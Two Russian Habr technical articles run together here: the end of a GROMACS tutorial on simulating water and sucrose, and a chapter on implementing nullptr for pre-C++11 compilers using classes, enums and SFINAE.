tcoupl = V-rescale ; modified Berendsen thermostat
tc-grps = System ; two coupling groups - more accurate
tau_t = 0.5 ; time constant, in ps
ref_t = 300 ; reference temperature, one for each group, in K
; Pressure coupling is on
pcoupl = Berendsen ; Pressure coupling on in NPT
pcoupltype = isotropic ; uniform scaling of box vectors
tau_p = 2.0 ; time constant, in ps
ref_p = 1.0 ; reference pressure, in bar
compressibility = 4.5e-5 ; isothermal compressibility of water, bar^-1
; Periodic boundary conditions
pbc = xyz ; 3-D PBC
; Velocity generation
gen_vel = yes ; Velocity generation is off
gen_temp = 300 ; initial temperature
gen_seed = 2011 ; random seed
```
Подробнее о параметрах моделирования можно почитать в документации. Количество используемых параметров может быть намного больше или меньше, зависит от требования условий. Используемые параметры, я ~~не~~честно скопировал из примеров когда-то изучаемых мной курсов и для образовательных целей этого вполне хватит.
Документация к gromacs достаточно подробная и если кто-то решит этим плотно заниматься, документацию стоит досконально прочитать, чтобы понимать в каком случае какие методы использовать, допустим того же учета кулоновского взаимодействия.
Запускаем релаксацию, из папки equi:
```
grompp -p ../topol.top -c ../h2o_1728.gro -f grompp.mdp
mdrun -v
```
Чтобы просмотреть, что получилось необходимо произвести «перенос» атомов, которые ушли по граничным условиям в координатном файле моделирования, используя встроенную утилиту громакса trjconv. После чего открываем начальный файл координат vmd и подгружаем в него координаты:
```
trjconv -f traj_comp.xtc -o trajout.xtc -pbc mol #на вопрос отвечаем 0
vmd ../h2o_1728.gro
```
В vmd нажимаем правой кнопкой на h2o\_1728.gro, выбираем load data into molecule и там уже выбираем файл trajout.xtc и жмем load. Если кому-то интересно что будет без trjconv, то может подгрузить исходный traj\_comp.xtc.
Теперь используя прокрутку в vmd можно наблюдать за движением молекул в процессе моделирования.
По идеи для получения более-менее реальной модели необходимо произвести дальнейшее моделирование, поменяв термостат и баростат и увеличив время самого моделирования примерно в 5-10 раз. Но на воду саму по себе смотреть не очень интересно, куда интереснее будет поместит туда какое-то вещество, допустим сахар. Эта задача оказывается не только интереснее в плане наблюдения, но и в реализации, потому как топологию сахара придется создавать самим, а не брать готовую.
#### Сахар
Сахаров на самом деле всяких много, т.к. взять конкретный сахар цели нету, то берем первый понравившийся. Да и я особо уже не помню, чем они там по формулам различаются, фруктозы, сахарозы… Я нагуглил вот [такой](http://www.biochemcs.com/match_structures_of_sugars_with_pdb_files.htm). Беру первый, как я понял это сахароза, посмотрим на него, уже стандартно в vmd, вот только отображение поставим CPK:
Теперь надо получить топологию данной молекулы, т.е. описать кто с кем связан и какие атомы соответствуют атомам в поле сил. Это можно сделать по-разному, регулярный способ мне не известен. Попробуем получить топологию из имеющихся уже данных — связи атомов в файле pdb и информации в поле силы для атомов.
В «хорошем» pdb файле уже описаны связи атомов, потому есть надежда что из него можно сконвертировать топлогию. И эта задача уже решена ранее, если порыться на сайте gromacs, то можно найти скрипты от участников, там и находится данная перловая утилита — [topolgen-1.1](http://www.gromacs.org/Downloads/User_contributions/Other_software).
используя её генерируем файл топологии:
```
perl topolgen_1.1.pl -f 1.pdb -o sugar.top
```
если посмотреть на файл топологии то можно увидеть, что на позиции type стоят просто числа, а должны быть названия типов атомов из того набора сил, который используется. Для того чтобы соотнести данную молекулу с полем сил, надо посмотреть какие типы атомов используются, сколько у них связей и что им соответствует в наборе OPLS/AA.
Для этого откроем в vmd снова молекулу, перейдем в representation, сверху нажмем «Create Rep» и сменим отображение на CPK, затем выберем вкладку selections. В Selected atoms удалим все имеющееся и введем serial 1, нажмем apply. Если посмотреть на отображение, то теперь один атом стал круглым, это и есть атом 1. Теперь мы можем соотнести атом с теми что имеются в наборе поля сил. Чтобы это сделать открываем файл поля сил atomtypes.atp, находящийся в /usr/local/share/gromacs/top/oplsaa.ff. И смотрим что подходит для атома углерода связанного с углеродом, кислородом и водородом, т.е. углерод в оксане. Такого там нету, потому будем просто искать подходящий по связям т.е. opls\_193, далее меняем в vmd в selected atoms на 2 и ищем для второго атома, я выбрал opls\_182 и так далее получаем в итоге файл топологии.
Так же включил поле сил, добавил название молекулы и сделал название основания.
приведена только измененная часть:
**sugar.top**
```
#include "oplsaa.ff/forcefield.itp"
[ moleculetype ]
; Name nrexcl
sugar 3
[ atoms ]
; nr type resnr residue atom cgnr charge mass typeB chargeB massB
1 opls_193 1 sugar C1 1 0.000
2 opls_182 1 sugar C2 1 0.000
3 opls_182 1 sugar C2 1 0.000
4 opls_182 1 sugar C2 0 0.000
5 opls_182 1 sugar C2 0 0.000
6 opls_182 1 sugar C3 0 0.000
7 opls_180 1 sugar O1 0 0.000
8 opls_078 1 sugar O2 0 0.000
9 opls_078 1 sugar O2 0 0.000
10 opls_078 1 sugar O2 0 0.000
11 opls_078 1 sugar O2 0 0.000
12 opls_180 1 sugar O1 0 0.000
13 opls_193 1 sugar C2 0 0.000
14 opls_182 1 sugar C2 0 0.000
15 opls_182 1 sugar C2 0 0.000
16 opls_182 1 sugar C1 0 0.000
17 opls_182 1 sugar C2 0 0.000
18 opls_182 1 sugar C2 0 0.000
19 opls_078 1 sugar O2 0 0.000
20 opls_180 1 sugar O1 0 0.000
21 opls_078 1 sugar O2 0 0.000
22 opls_078 1 sugar O2 0 0.000
23 opls_078 1 sugar O2 0 0.000
24 opls_185 1 sugar H1 0 0.000
25 opls_185 1 sugar H1 0 0.000
26 opls_185 1 sugar H1 0 0.000
27 opls_185 1 sugar H1 0 0.000
28 opls_185 1 sugar H1 0 0.000
29 opls_185 1 sugar H1 0 0.000
30 opls_185 1 sugar H1 0 0.000
31 opls_079 1 sugar H2 0 0.000
32 opls_079 1 sugar H2 0 0.000
33 opls_079 1 sugar H2 0 0.000
34 opls_079 1 sugar H2 0 0.000
35 opls_185 1 sugar H1 0 0.000
36 opls_185 1 sugar H1 0 0.000
37 opls_185 1 sugar H1 0 0.000
38 opls_185 1 sugar H1 0 0.000
39 opls_185 1 sugar H1 0 0.000
40 opls_185 1 sugar H1 0 0.000
41 opls_185 1 sugar H1 0 0.000
42 opls_079 1 sugar H2 0 0.000
43 opls_079 1 sugar H2 0 0.000
44 opls_079 1 sugar H2 0 0.000
45 opls_079 1 sugar H2 0 0.000
; в самом конце файла дописываем, количество используемых молекул:
[ molecules ]
; Compound #mols
sugar 1
```
Конвертируем координатный файл из pdb в gro, заодно помещая его в коробку 4 на 4 на 4:
```
editconf -f 1.pdb -box 4 4 4 -o sugar.gro
```
Приводим его в соответствие с топологией, подписывая атомы и ставя название основания:
**sugar.gro**
```
nat0011
45
1 C 1 2.056 1.948 1.876
1 C 2 2.210 1.948 1.876
1 C 3 2.263 2.092 1.876
1 C 4 2.198 2.168 1.759
1 C 5 2.045 2.158 1.775
1 C 6 1.972 2.236 1.663
1 O 7 2.007 2.022 1.767
1 O 8 1.831 2.222 1.680
1 O 9 2.259 1.880 1.992
1 O 10 2.405 2.093 1.861
1 O 11 2.241 2.305 1.763
1 O 12 2.007 2.003 1.996
1 C 13 1.964 1.922 2.103
1 C 14 1.997 1.993 2.236
1 C 15 1.941 1.908 2.352
1 C 16 1.791 1.883 2.329
1 C 17 1.811 1.900 2.096
1 C 18 1.772 1.828 1.966
1 O 19 1.632 1.798 1.969
1 O 20 1.770 1.820 2.205
1 O 21 1.741 1.799 2.434
1 O 22 1.963 1.974 2.477
1 O 23 2.138 2.007 2.251
1 H 24 2.022 1.845 1.866
1 H 25 2.246 1.897 1.786
1 H 26 2.236 2.141 1.970
1 H 27 2.228 2.122 1.665
1 H 28 2.015 2.199 1.871
1 H 29 2.002 2.196 1.566
1 H 30 1.998 2.341 1.669
1 H 31 1.806 2.129 1.674
1 H 32 2.232 1.787 1.990
1 H 33 2.446 2.046 1.934
1 H 34 2.224 2.348 1.679
1 H 35 2.015 1.826 2.100
1 H 36 1.950 2.091 2.237
1 H 37 1.993 1.812 2.353
1 H 38 1.737 1.979 2.332
1 H 39 1.760 1.996 2.100
1 H 40 1.828 1.734 1.958
1 H 41 1.794 1.891 1.881
1 H 42 1.607 1.753 1.889
1 H 43 1.752 1.842 2.519
1 H 44 1.917 2.059 2.477
1 H 45 2.174 2.061 2.180
4.00000 4.00000 4.00000
```
Теперь пробуем запустить моделирование, для упрощения и проверки возьмем тот же файл grompp.mdp, что и использовали для воды.
```
grompp -p sugar.top -c sugar.gro -f grompp.mdp
```
В ответ получаем сообщения об ошибках. Они нам говорят о том, что в поле сил нету внутримолекулярного взаимодействия для углов, при заданных типах атомов(файл ffbonded.itp). Это вполне разумно, потому как сбор молекулы производился вручную, из не соответствующих атомов(надо было оксан, а его нету), а какие больше подошли. Возможно некими хитрыми комбинациями и можно запустить моделирование, так чтобы атомы были «нужные», но это уже будет скорее всего неверно. Так же будет неточность в моделировании по причине отсутствия эффективного заряда на атомах, — это столбец charge в файле топологии. Естественный вопрос возникает, откуда брать все эти числа? Можно как-то из экспериментов, а можно и посчитать. Заряды бывает считают теоретически, на бумаге (малликен), но это не сильно точно, куда лучше методом квантовой химии, только считать одну молекулу а не группу. Квантовая химия позволяет найти и внутри молекулярное взаимодействие.
Квантомеханические расчеты производятся в различных программах~~гауссиан~~, и их описание заслуживает отдельных статей и вообще их использование трудозатратно. Но выходом из положения является некоторый сервис — [ATB](http://compbio.biosci.uq.edu.au/atb/). Он позволяет удаленно на облаке рассчитывать не большие молекулы, а так же индексирует уже посчитанные, что позволяет найти необходимую топологию, сразу без расчетов. Однако используемое в нем поле сил gromos54a7, а значит соответствия атомов с полем сил opls/aa не будет(колонка type в top файлах). Выходом из ситуации может быть, как использования того же поля что и в ATB, так и модификация уже созданной нами топологии для задания внутримолекулярного взаимодействия, на основании расчетов в ATB, однако это требует экспериментальной проверки, т.к. «комбинация» из двух полей не лучший вариант.
После не долгих поисков в репозитории ATB нашел [сахарозу](http://compbio.biosci.uq.edu.au/atb/molecule.py?molid=23661). Создадим папку ATB, куда и скачаем файлы топологии и расположения атомов(берем all-atoms). Получается ранее проделанные действия с сахаром были бесполезны, но целью их было показать построение топологии.
В итоге получили 2 файла sug.top и sug.pdb. Запустим моделирование на их основе и файла параметров моделирования, который использовали для воды – в файл топологии дописываем:
**sug.top**добавлено в начало
```
#include "gromos54a7.ff/forcefield.itp"
[ moleculetype ]
; Name nrexcl
VH26 3
```
И в конец:
```
[ system ]
; Name
Sugar
[ molecules ]
; Compound #mols
VH26 4
```
Поместим 4 молекулы в одну «коробку»:
```
echo -e "sugar \n0\n4 4 4">"sug_4.gro"
gmx insert-molecules -f sug_4.gro -nmol 4 -ci sug.gro -o sug_4.gro
```
Возьмем файл параметров моделирования воды, увеличим время в 10 раз и запустим:
```
cp ~/computate/water_sug/water/equi/grompp.mdp . ; параметр nsteps делаем 50000
grompp -p sug.top -c sug_4.gro -f grompp.mdp
mdrun -v
trjconv -f traj_comp.xtc -o trajout.xtc -pbc mol ; уберем дефекты переноса на граничных условиях
```
Результаты можно посмотреть в vmd.
#### Вода + сахар
Вода для данного силового поля рекомендованная spc, она хуже чем tip4p, но не будем усложнять и так перегруженную статью, используем spc.
Совместим воду и сахар:
```
cd ../..
mkdir mix
cd mix
head -n5 /usr/local/share/gromacs/top/spc216.gro >spc.gro ; на 2й строке ставим количество атомов 3, и дописываем размер бокса 1 1 1.
cp ../sug/ATB/sug.gro .
cp ../sug/ATB/sug.top sug.itp ;убираем строку с #include, блоки [system] и [molecules]
cp ~/computate/water_sug/water/equi/grompp.mdp .
gmx insert-molecules -f sug_4.gro -nmol 512 -box 4 4 4 -ci spc.gro -o mix.gro
```
Создаем файл топологии для смешанной системы:
**topol.top**
```
; Include forcefield parameters
#include "gromos54a7.ff/forcefield.itp"
#include "gromos54a7.ff/spc.itp"
#include "sug.itp"
[ system ]
Sug+SOL
[ molecules ]
VH26 4
sol 512
```
**spc.gro**
```
216H2O,WATJP01,SPC216,SPC-MODEL,300K,BOX(M)=1.86206NM,WFVG,MAR. 1984
3
1SOL OW 1 .230 .628 .113
1SOL HW1 2 .137 .626 .150
1SOL HW2 3 .231 .589 .021
1 1 1
```
Далее запускаем моделирование:
```
grompp -p topol.top -c mix.gro -f grompp.mdp
mdrun -v
```
Скорее всего получим ошибку, вызванную тем, что система сильно далеко от равновесия. Для решения данной проблемы — уменьшим шаг моделирования в 2 раза, до 0,001ps (в файле grompp.mdp строчка dt = 0.002; 2 fs). Для наглядности, я промоделировал до времени в 300ps. Результат приведен ниже.
Для дальнейшего анализа можно использовать методы встроенные в gromacs такие как функции радиального распределения, энергии, температуры итп, подробнее можно найти в документации. На анализе я останавливаться не буду ибо статья и так уже по моим меркам большая.
#### Итог
В данной статье показаны установки gromacs и программы визуализации моделирования VMD, на примере нескольких систем показан запуск моделирования и проблема построения топологии… Прошу читателей простить мне не оптимальность некоторых вещей и возможно не большую ошибочность утверждений. В моем понимании для «старта» в области моделирования, показанного должно быть достаточно. Больше информации можно найти в документации и в рассылке пользователей gromacs, где крайне дружелюбно пользователи и авторы программы отвечают даже на самые странные вопросы. Спасибо прочитавшим, надеюсь кому-то это окажется полезным. | https://habr.com/ru/post/377845/ | null | ru | null |
# Как я стандартную библиотеку C++11 писал или почему boost такой страшный. Глава 3
 ### Краткое содержание предыдущих частей
Из-за ограничений на возможность использовать компиляторы C++ 11 и от безальтернативности boost'у возникло желание написать свою реализацию стандартной библиотеки C++ 11 поверх поставляемой с компилятором библиотеки C++ 98 / C++ 03.
Были реализованы **static\_assert**, **noexcept**, **countof**, а так же, после рассмотрения всех нестандартных дефайнов и особенностей компиляторов, появилась информация о функциональности, которая поддерживается текущим компилятором. На этом описание **core.h** почти закончено, но оно было бы не полным без **nullptr**.
Ссылка на GitHub с результатом на сегодня для нетерпеливых и нечитателей:
> **[Коммиты и конструктивная критика приветствуются](https://github.com/oktonion/stdex)**
Итак, продолжим.
#### Оглавление
[Введение](https://habr.com/post/417027/)
[Глава 1. Viam supervadet vadens](https://habr.com/post/417027/)
[Глава 2. #ifndef \_\_CPP11\_SUPPORT\_\_ #define \_\_COMPILER\_SPECIFIC\_BUILT\_IN\_AND\_MACRO\_HELL\_\_ #endif](https://habr.com/post/417099/)
**Глава 3. Поиск идеальной реализации nullptr**
[Глава 4. Шаблонная «магия» C++](https://habr.com/post/417547/)
....[4.1 Начинаем с малого](https://habr.com/post/417547/)
....[4.2 О сколько нам ошибок чудных готовит компиляций лог](https://habr.com/post/417949/)
....[4.3 Указатели и все-все-все](https://habr.com/post/418347/)
....[4.4 Что же еще нужно для шаблонной библиотеки](https://habr.com/post/420365/)
Глава 5.
…
### Глава 3. Поиск идеальной реализации nullptr
После всей эпопеи с нестандартными макросами компиляторов и открытий «чудных», которые они преподнесли, я наконец мог добавить **nullptr** и это как то даже грело душу. Наконец-то можно будет избавиться от всех этих сравнений с 0 или даже с **NULL**.
Большинство программистов реализует **nullptr** как
```
#define nullptr 0
```
и на этом можно было бы и закончить данную главу. Если вам хочется себе **nullptr**, то просто замените 0 на такой дефайн, ведь по-сути это все что требуется для корректной работы.
Не забудьте правда написать проверку, а то вдруг кто-то еще найдется с таким определением:
```
#ifndef nullptr
#define nullptr 0
#else
#error "nullptr defined already"
#endif
```
Директива препроцессора [#error](http://eel.is/c++draft/cpp.error#:preprocessing_directive,error) выдаст ошибку с человекочитаемым текстом при компиляции, и, да, это стандартная директива, применение которой редко, но можно найти.
Но в такой реализации мы упускаем один из важных моментов, описанных в стандарте, а именно *std::nullptr\_t* — отдельный тип, константным экземпляром которого является **nullptr**. И разработчики chromium когда то тоже [пытались](https://stackoverflow.com/questions/19526466/simulating-nullptr-nullptr-t-for-gcc-4-5-3) решить эту проблему (сейчас там уже компилятор новее и нормальный **nullptr**) определяя его как класс, который умеет преобразовываться к указателю на любой тип. Так как по стандарту размер **nullptr** должен быть равен размеру указателя на **void** (а **void\*** должен так же вмещать в себя любой указатель, кроме указателей на член класса) немного «стандартизируем» эту реализацию добавив неиспользуемый пустой указатель:
```
class nullptr_t_as_class_impl {
public:
nullptr_t_as_class_impl() { }
nullptr_t_as_class_impl(int) { }
// Make nullptr convertible to any pointer type.
template operator T\*() const { return 0; }
// Make nullptr convertible to any member pointer type.
template operator T C::\*() { return 0; }
bool operator==(nullptr\_t\_as\_class\_impl) const { return true; }
bool operator!=(nullptr\_t\_as\_class\_impl) const { return false; }
private:
// Do not allow taking the address of nullptr.
void operator&();
void \*\_padding;
};
typedef nullptr\_t\_as\_class\_impl nullptr\_t;
#define nullptr nullptr\_t(0)
```
Преобразование этого класса в любой указатель происходит за счет шаблонного оператора типа, который вызывается в том случае если что-то сравнивается с **nullptr**. Тоесть выражение *char \*my\_pointer; if (my\_pointer == nullptr)* фактически будет преобразовано к *if (my\_pointer == nullptr.operator char\*())*, что сравнит указатель с 0. Второй оператор типа нужен для преобразования **nullptr** к указателям на члены класса. И здесь уже «отличился» Borland C++ Builder 6.0, который неожиданно решил, что у него эти два оператора идентичны и он с легкостью может сравнивать указатели на член класса и обычные указатели между собой, потому возникает неопределенность каждый раз, как только такой **nullptr** сравнивается с указателем (это баг, и возможно он не только у этого компилятора). Пишем отдельную реализацию для такого случая:
```
class nullptr_t_as_class_impl1 {
public:
nullptr_t_as_class_impl1() { }
nullptr_t_as_class_impl1(int) { }
// Make nullptr convertible to any pointer type.
template operator T\*() const { return 0; }
bool operator==(nullptr\_t\_as\_class\_impl1) const { return true; }
bool operator!=(nullptr\_t\_as\_class\_impl1) const { return false; }
private:
// Do not allow taking the address of nullptr.
void operator&();
void \*\_padding;
};
typedef nullptr\_t\_as\_class\_impl1 nullptr\_t;
#define nullptr nullptr\_t(0)
```
Преимущества данного представления **nullptr** в том что теперь есть отдельный тип для *std::nullptr\_t*. Недостатки? Теряется константность **nullptr** на время компиляции и сравнения через тернарный оператор компилятор разрешить не сможет.
```
unsigned* case5 = argc > 2 ? (unsigned*)0 : nullptr; // ошибка компиляции, слева и справа от ':' совершенно разные типы
STATIC_ASSERT(nullptr == nullptr && !(nullptr != nullptr), nullptr_should_be_equal_itself); // ошибка компиляции, nullptr не является константной времени компиляции
```
А хочется «и шашечки и ехать». Решение приходит в голову только одно: **enum**. Члены перечисления в C++ будут иметь свой отдельный тип, а так же без проблем преобразуются к **int** (а по сути являются целочисленными константами). Такое свойство члена перечисления нам поможет, ведь тот самый «особенный» 0, который используется вместо **nullptr** для указателей и есть самый обычный **int**. Такой реализации **nullptr** на просторах интернетов я не встречал, и, возможно, она тоже чем-то плоха, но у меня не нашлось идей чем. Напишем реализацию:
```
#ifdef NULL
#define STDEX_NULL NULL
#else
#define STDEX_NULL 0
#endif
namespace ptrdiff_detail
{
using namespace std;
}
template
struct nullptr\_t\_as\_ulong\_type { typedef unsigned long type; };
template<>
struct nullptr\_t\_as\_ulong\_type { typedef unsigned long type; };
template
struct nullptr\_t\_as\_ushort\_type { typedef unsigned short type; };
template<>
struct nullptr\_t\_as\_ushort\_type { typedef nullptr\_t\_as\_long\_type::type type; };
template
struct nullptr\_t\_as\_uint\_type { typedef unsigned int type; };
template<>
struct nullptr\_t\_as\_uint\_type { typedef nullptr\_t\_as\_short\_type::type type; };
typedef nullptr\_t\_as\_uint\_type::type nullptr\_t\_as\_uint;
enum nullptr\_t\_as\_enum
{
\_nullptr\_val = ptrdiff\_detail::ptrdiff\_t(STDEX\_NULL),
\_max\_nullptr = nullptr\_t\_as\_uint(1) << (CHAR\_BIT \* sizeof(void\*) - 1)
};
typedef nullptr\_t\_as\_enum nullptr\_t;
#define nullptr nullptr\_t(STDEX\_NULL)
```
Как видно здесь немного больше кода чем просто объявление **enum** *nullptr\_t* с членом *nullptr = 0*. Во-первых определения **NULL** может не быть. Он должен быть определен в [довольно солидном списке стандартных заголовков](https://ru.cppreference.com/w/cpp/types/NULL), но как показала практика здесь лучше перестраховаться и проверить на наличие этого макроса. Во-вторых представление **enum** в C++ согласно стандарту implementation-defined, т.е. тип перечисления может быть представлен какими угодно целочисленными типами (с оговоркой что эти типы не могут быть больше чем **int**, если только значения **enum** «влезают» в него). К примеру если объявить *enum test{\_1, \_2}* компилятор легко может представить его как **short** и тогда вполне возможно что **sizeof(***test***)** *!=* **sizeof(void\*)**. Чтобы реализация **nullptr** соответствовала стандарту нужно убедиться что размер типа который выберет компилятор для *nullptr\_t\_as\_enum* будет соответствовать размеру указателя, т.е. по сути равняться **sizeof(void\*)**. Для этого с помощью шаблонов *nullptr\_t\_as...* подбираем такой целочисленный тип, который будет равняться размеру указателя, а затем выставляем максимальное значение элемента в нашем перечислении в максимальное значение этого целочисленного типа.
> Хочу обратить внимание на макрос **CHAR\_BIT** определенный в стандартном заголовке **climits**. Этот макрос выставляется в значение количества бит в одном **char**, т.е. количество бит в байте на текущей платформе. Полезное стандартное определение, которое незаслуженно обходят стороной разработчики втыкая везде восьмерки, хотя [кое-где в одном байте совсем не 8 бит](https://stackoverflow.com/questions/5516044/system-where-1-byte-8-bit).
И еще одна особенность это присвоение **NULL** как значения элемента **enum**. Некоторые компиляторы дают warning (и их обеспокоенность можно понять) по поводу того, что **NULL** присваивается «неуказателю». Выносим стандартный **namespace** в свой локальный *ptrdiff\_detail*, чтобы не захламлять им все остальное пространство имен, и далее, чтобы успокоить компилятор, явно преобразуем **NULL** к *std::ptrdiff\_t* — еще одному почему-то малоиспользуемому типу в C++, который служит для представления результата арифметических действий (вычитания) с указателями и обычно является псевдонимом типа *std::size\_t* (*std::intptr\_t* в C++ 11).
#### SFINAE
Здесь, впервые в моем повествовании, мы сталкиваемся с таким явлением в C++ как [substitution failure is not an error (SFINAE)](https://en.wikipedia.org/wiki/Substitution_failure_is_not_an_error). Если вкратце то суть его в том, что когда компилятор «перебирает» подходящие перегрузки функций для конкретного вызова он должен проверить их все, а не останавливаться после первой неудачи или после первой найденной подходящей перегрузки. Отсюда появляется и его сообщения об [ambiguity](https://www.quora.com/What-is-ambiguity-in-C++), когда существует две одинаковые с точки зрения компилятора перегрузки вызываемой функции, и так же способность компилятора подобрать самую точно подходящую перегрузку функции под конкретный вызов с конкретными параметрами. Эта особенность работы компилятора позволяет делать львиную долю всей шаблонной «магии» (кстати привет *std::enable\_if*), а так же является основой как boost, так и моей библиотеки.
Так как в результате у нас существует несколько реализаций **nullptr** мы с помощью SFINAE «подбираем» самую лучшую на этапе компиляции. Объявим типы «да» и «нет» для проверки через **sizeof** функций-пробников, объявленных ниже.
```
namespace nullptr_detail
{
typedef char _yes_type;
struct _no_type
{
char padding[8];
};
struct dummy_class {};
_yes_type _is_convertable_to_void_ptr_tester(void*);
_no_type _is_convertable_to_void_ptr_tester(...);
typedef void(nullptr_detail::dummy_class::*dummy_class_f)(int);
typedef int (nullptr_detail::dummy_class::*dummy_class_f_const)(double&) const;
_yes_type _is_convertable_to_member_function_ptr_tester(dummy_class_f);
_no_type _is_convertable_to_member_function_ptr_tester(...);
_yes_type _is_convertable_to_const_member_function_ptr_tester(dummy_class_f_const);
_no_type _is_convertable_to_const_member_function_ptr_tester(...);
template
\_yes\_type \_is\_convertable\_to\_ptr\_tester(\_Tp\*);
template
\_no\_type \_is\_convertable\_to\_ptr\_tester(...);
}
```
> Здесь будем использовать тот же принцип что и во [второй главе](https://habr.com/post/417099/) с **countof** и его определением через **sizeof** возвращаемого значения (массива элементов) шаблонной функции *COUNTOF\_REQUIRES\_ARRAY\_ARGUMENT*.
```
template
struct \_is\_convertable\_to\_void\_ptr\_impl
{
static const bool value = (sizeof(nullptr\_detail::\_is\_convertable\_to\_void\_ptr\_tester((T) (STDEX\_NULL))) == sizeof(nullptr\_detail::\_yes\_type));
};
```
Что же здесь происходит? Сначала компилятор «перебирает» перегрузки функции *\_is\_convertable\_to\_void\_ptr\_tester* с аргументом типа *T* и значением **NULL** (значение роли не играет, просто **NULL** должен быть приводимым к типу *T*). Перегрузок всего две — с типом **void\*** и с [variable argument list (...)](https://en.cppreference.com/w/cpp/utility/variadic). Подставляя в каждую из этих перегрузок аргумент, компилятор выберет первую если тип приводится к указателю на **void**, и вторую если приведение не может быть выполнено. У выбранной компилятором перегрузки мы с помощью **sizeof** определим размер возвращаемого функцией значения, а так как они гарантированно разные (**sizeof(***\_no\_type***)** *== 8*, **sizeof(***\_yes\_type***)** *== 1*), то сможем определить по размеру какую перегрузку подобрал компилятор и следовательно преобразуется ли наш тип в **void\*** или нет.
Этот же шаблон программирования будем применять и далее для того чтобы определить преобразуется ли объект выбранного нами типа для представления *nullptr\_t* в любой указатель (по сути *(T)(***STDEX\_NULL***)* и есть будущее определение для **nullptr**).
```
template
struct \_is\_convertable\_to\_member\_function\_ptr\_impl
{
static const bool value =
(sizeof(nullptr\_detail::\_is\_convertable\_to\_member\_function\_ptr\_tester((T) (STDEX\_NULL))) == sizeof(nullptr\_detail::\_yes\_type)) &&
(sizeof(nullptr\_detail::\_is\_convertable\_to\_const\_member\_function\_ptr\_tester((T) (STDEX\_NULL))) == sizeof(nullptr\_detail::\_yes\_type));
};
template
struct \_is\_convertable\_to\_any\_ptr\_impl\_helper
{
static const bool value = (sizeof(nullptr\_detail::\_is\_convertable\_to\_ptr\_tester((NullPtrType) (STDEX\_NULL))) == sizeof(nullptr\_detail::\_yes\_type));
};
template
struct \_is\_convertable\_to\_any\_ptr\_impl
{
static const bool value = \_is\_convertable\_to\_any\_ptr\_impl\_helper::value &&
\_is\_convertable\_to\_any\_ptr\_impl\_helper::value &&
\_is\_convertable\_to\_any\_ptr\_impl\_helper::value &&
\_is\_convertable\_to\_any\_ptr\_impl\_helper::value &&
\_is\_convertable\_to\_any\_ptr\_impl\_helper::value &&
\_is\_convertable\_to\_any\_ptr\_impl\_helper::value &&
\_is\_convertable\_to\_any\_ptr\_impl\_helper::value;
};
template
struct \_is\_convertable\_to\_ptr\_impl
{
static const bool value = (
\_is\_convertable\_to\_void\_ptr\_impl::value == bool(true) &&
\_is\_convertable\_to\_any\_ptr\_impl::value == bool(true) &&
\_is\_convertable\_to\_member\_function\_ptr\_impl::value == bool(true)
);
};
```
Конечно не возможно перебирать все мыслимые и немыслимые указатели и их сочетания с модификаторами **volatile** и **const**, потому я ограничился только этими 9ю проверками (две на указатели функций класса, одна на указатель на **void**, семь на указатели на разные типы), чего вполне достаточно.
Как упоминалось выше некоторые (\*кхе-кхе\*...Borland Builder 6.0...\*кхе\*) компиляторы не различают указатели на тип и на член класса, потому напишем еще вспомогательную проверку на этот случай чтобы потом выбрать нужную реализацию *nullptr\_t* через класс если понадобится.
```
struct _member_ptr_is_same_as_ptr
{
struct test {};
typedef void(test::*member_ptr_type)(void);
static const bool value = _is_convertable_to_void_ptr_impl::value;
};
template
struct \_nullptr\_t\_as\_class\_chooser
{
typedef nullptr\_detail::nullptr\_t\_as\_class\_impl type;
};
template<>
struct \_nullptr\_t\_as\_class\_chooser
{
typedef nullptr\_detail::nullptr\_t\_as\_class\_impl1 type;
};
```
И далее остается только проверить разные реализации *nullptr\_t* и выбрать подходящую под собирающий компилятор.
**Выбираем реализацию nullptr\_t**
```
template
struct \_nullptr\_choose\_as\_int
{
typedef nullptr\_detail::nullptr\_t\_as\_int type;
};
template
struct \_nullptr\_choose\_as\_enum
{
typedef nullptr\_detail::nullptr\_t\_as\_enum type;
};
template
struct \_nullptr\_choose\_as\_class
{
typedef \_nullptr\_t\_as\_class\_chooser<\_member\_ptr\_is\_same\_as\_ptr::value>::type type;
};
template<>
struct \_nullptr\_choose\_as\_int
{
typedef nullptr\_detail::nullptr\_t\_as\_void type;
};
template<>
struct \_nullptr\_choose\_as\_enum
{
struct as\_int
{
typedef nullptr\_detail::nullptr\_t\_as\_int nullptr\_t\_as\_int;
static const bool \_is\_convertable\_to\_ptr = \_is\_convertable\_to\_ptr\_impl::value;
static const bool \_equal\_void\_ptr = \_is\_equal\_size\_to\_void\_ptr::value;
};
typedef \_nullptr\_choose\_as\_int::type type;
};
template<>
struct \_nullptr\_choose\_as\_class
{
struct as\_enum
{
typedef nullptr\_detail::nullptr\_t\_as\_enum nullptr\_t\_as\_enum;
static const bool \_is\_convertable\_to\_ptr = \_is\_convertable\_to\_ptr\_impl::value;
static const bool \_equal\_void\_ptr = \_is\_equal\_size\_to\_void\_ptr::value;
static const bool \_can\_be\_ct\_constant = true;//\_nullptr\_can\_be\_ct\_constant\_impl::value;
};
typedef \_nullptr\_choose\_as\_enum::type type;
};
struct \_nullptr\_chooser
{
struct as\_class
{
typedef \_nullptr\_t\_as\_class\_chooser<\_member\_ptr\_is\_same\_as\_ptr::value>::type nullptr\_t\_as\_class;
static const bool \_equal\_void\_ptr = \_is\_equal\_size\_to\_void\_ptr::value;
static const bool \_can\_be\_ct\_constant = \_nullptr\_can\_be\_ct\_constant\_impl::value;
};
typedef \_nullptr\_choose\_as\_class::type type;
};
```
Сначала мы проверяем на возможность представить *nullptr\_t* как класс, но так как универсального компиляторонезависимого решения как проверить что объект типа может быть константой времени компиляции я не нашел (я, кстати, открыт для предложений на этот счет, потому как вполне вероятно что это возможно), этот вариант всегда отметается (*\_can\_be\_ct\_constant* всегда **false**). Далее переключаемся на проверку варианта с представлением через **enum**. Если и так представить не удалось (не может компилятор представить через **enum** указатель или размер почему то не тот), то пробуем представить в виде целочисленного типа (у которого размер будет равен размеру указателя на **void**). Ну уж если и это не сработало, то выбираем реализацию типа *nullptr\_t* через **void\***.
В этом месте раскрывается большая часть мощи SFINAE в сочетании с шаблонами C++, за счет чего удается выбрать необходимую реализацию, не прибегая к компиляторозависимым макросам, да и вообще к макросам (в отличие от boost где все это было бы напичкано проверками **#ifdef #else #endif**).
Остается только определить псевдоним типа для *nullptr\_t* в **namespace stdex** и дефайн для **nullptr** (дабы соблюсти еще одно требование стандарта о том что адрес **nullptr** брать нельзя, а так же чтобы можно было использовать **nullptr** как константу времени компиляции).
```
namespace stdex
{
typedef detail::_nullptr_chooser::type nullptr_t;
}
#define nullptr (stdex::nullptr_t)(STDEX_NULL)
